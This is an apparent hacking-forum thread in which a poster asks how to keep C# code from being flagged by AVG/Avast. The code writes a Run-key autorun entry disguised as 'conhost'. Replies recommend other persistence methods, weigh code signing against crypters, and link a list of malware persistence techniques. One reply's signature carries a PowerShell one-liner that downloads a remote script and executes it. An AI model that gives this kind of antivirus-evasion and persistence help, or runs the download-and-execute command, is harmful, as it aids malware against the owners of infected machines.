Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

AVG/AVAST Detection Issue. CSHARP

Hello, So basically i am getting a detection, After some digging i found out what is getting detected. Its this peace of code below.
How do i get around this detection? I have tried renaming the value and that didn't do anything. I have also tried copying the file to the startup folder.... Same detection. Any help is appreciated.

Code
using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
               {
                   key.SetValue("conhost", "\"" + tempPath + text + "\"");
               }


Best Regards, CASPER  🤝  🤝
You should try another form of startup, there’s plenty of other methods out there but using the registry is probably not the best idea. If you’re not code signing, AV’s are going to flag any 32bit executable attempting to write in this extremely common startup location.
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]
Try this

https://www.andreafortuna.org/dfir/malwa...echniques/
(Dec 28, 2018 08:51 PM)Nick (Name) Wrote:  You should try another form of startup, there’s plenty of other methods out there but using the registry is probably not the best idea. If you’re not code signing, AV’s are going to flag any 32bit executable attempting to write in this extremely common startup location.

Dont u need a certificate to code sign? Im pretty sure some crypters have them but i dont wanna crypt my file.

(Dec 28, 2018 10:01 PM)NYANxCAT Wrote:  Try this

https://www.andreafortuna.org/dfir/malwa...echniques/

Thanks man! Ill check it out.
n.p man, I'm glad it helped


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by SIM-4704770Mar 6, 2021 09:40 AM 10 619 Mar 6, 2021 09:40 AM
Last Post: SIM-4704770
[C#] by umaymamekhlafyFeb 6, 2019 11:13 AM 1 218 Feb 6, 2019 11:13 AM
Last Post: Fhack
[.NET] by ZoomersFeb 6, 2019 12:42 AM 1 167 Feb 6, 2019 12:42 AM
Last Post: Eagle 95